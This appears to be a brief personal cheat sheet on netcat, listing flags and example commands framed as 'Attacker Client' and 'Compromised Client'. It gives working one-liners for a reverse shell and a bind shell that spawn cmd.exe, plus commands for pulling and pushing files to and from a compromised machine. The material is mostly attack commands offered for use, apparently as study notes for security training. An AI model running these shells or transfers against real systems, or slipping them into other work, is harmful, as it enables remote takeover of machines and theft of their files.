nc: TCP/IP Swiss Army Knife
ncat: concatenate and redirect sockets

-l: Listen and Bind
-p: Port
\--ssl: Use SSL

Example (Reverse Shell):

Attacker Client: `nc -lp 4444`
Compromised Client: `nc 1.0.0.0 4444 -e cmd.exe`

Example (Bind Shell):

Attacker Client: `nc 1.0.0.1 4444`
Compromised Client: `nc -lp 4444 -e cmd.exe -k`

Example (File Transfer Receive):

Attacker Client: `nc -lp 4444 > newFile`
Compromised Client: `nc 1.0.0.1 4444 < oldFile`

Example (File Transfer Transmit):

Attacker Client: `nc -lp 4444 < newFile`
Compromised Client: `nc 1.0.0.1 > oldFile`

Log into Windows Machine:
![](Pasted%20image%2020241004143909.png)